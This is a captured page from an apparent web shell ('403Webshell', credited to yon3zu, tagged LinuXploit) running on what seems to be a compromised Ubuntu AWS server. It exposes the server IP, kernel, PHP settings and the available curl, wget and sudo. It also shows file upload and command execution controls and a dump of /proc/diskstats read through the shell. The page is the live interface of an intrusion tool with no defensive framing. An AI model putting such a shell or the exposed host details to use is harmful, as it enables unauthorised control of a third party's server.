403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/diskstats
   7       0 loop0 20354 0 1654563 6544 0 0 0 0 0 6544 6544 0 0 0 0 0 0
   7       1 loop1 5049 0 268344 1410 0 0 0 0 0 1418 1410 0 0 0 0 0 0
   7       2 loop2 4852 0 122318 1332 0 0 0 0 0 1351 1332 0 0 0 0 0 0
   7       3 loop3 116538 0 2822874 11438 0 0 0 0 0 11393 11438 0 0 0 0 0 0
   7       4 loop4 24574 0 513456 6297 0 0 0 0 0 6374 6297 0 0 0 0 0 0
   7       5 loop5 16628 0 704018 5236 0 0 0 0 0 5335 5236 0 0 0 0 0 0
   7       6 loop6 28178 0 1200722 6394 0 0 0 0 0 6383 6394 0 0 0 0 0 0
   7       7 loop7 7091 0 567899 3024 0 0 0 0 0 3026 3024 0 0 0 0 0 0
 259       0 nvme0n1 2444464 331393 251865317 2608585 46059756 21347048 1330761204 47466528 0 27859629 50075114 0 0 0 0 0 0
 259       1 nvme0n1p1 2429127 330674 249009194 2594451 46053731 21345511 1328479944 47448866 0 35724550 50043317 0 0 0 0 0 0
 259       2 nvme0n1p14 260 0 2310 113 0 0 0 0 0 114 113 0 0 0 0 0 0
 259       3 nvme0n1p15 419 610 18530 249 2 0 2 2 0 167 252 0 0 0 0 0 0
 259       4 nvme0n1p16 8519 109 2366262 9351 6018 1529 2281154 17657 0 8592 27009 0 0 0 0 0 0
   7       8 loop8 40822 0 1079856 5859 0 0 0 0 0 5918 5859 0 0 0 0 0 0
   7       9 loop9 11659 0 330500 2425 0 0 0 0 0 2469 2425 0 0 0 0 0 0
   7      10 loop10 1777 0 131412 676 0 0 0 0 0 661 676 0 0 0 0 0 0
   7      11 loop11 35729 0 563426 7040 0 0 0 0 0 7058 7040 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit